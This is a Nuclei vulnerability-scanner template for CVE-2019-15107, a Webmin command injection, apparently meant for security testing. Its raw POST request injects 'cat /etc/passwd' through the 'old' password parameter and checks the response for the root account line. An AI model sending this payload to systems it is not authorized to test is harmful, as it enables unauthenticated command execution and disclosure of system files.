nuclei-templates/cves/2019/CVE-2019-15107.yaml

32 lines
1017 B
YAML

id: CVE-2019-15107
info:
name: Webmin <= 1.920 Unauthenticated Remote Command Execution
author: bp0lr
severity: critical
description: An issue was discovered in Webmin <=1.920. The 'old' parameter in password_change.cgi contains a command injection vulnerability.
reference: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
tags: cve,cve2019,webmin,rce
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2019-15107
cwe-id: CWE-78
requests:
- raw: #
- |
POST /password_change.cgi HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"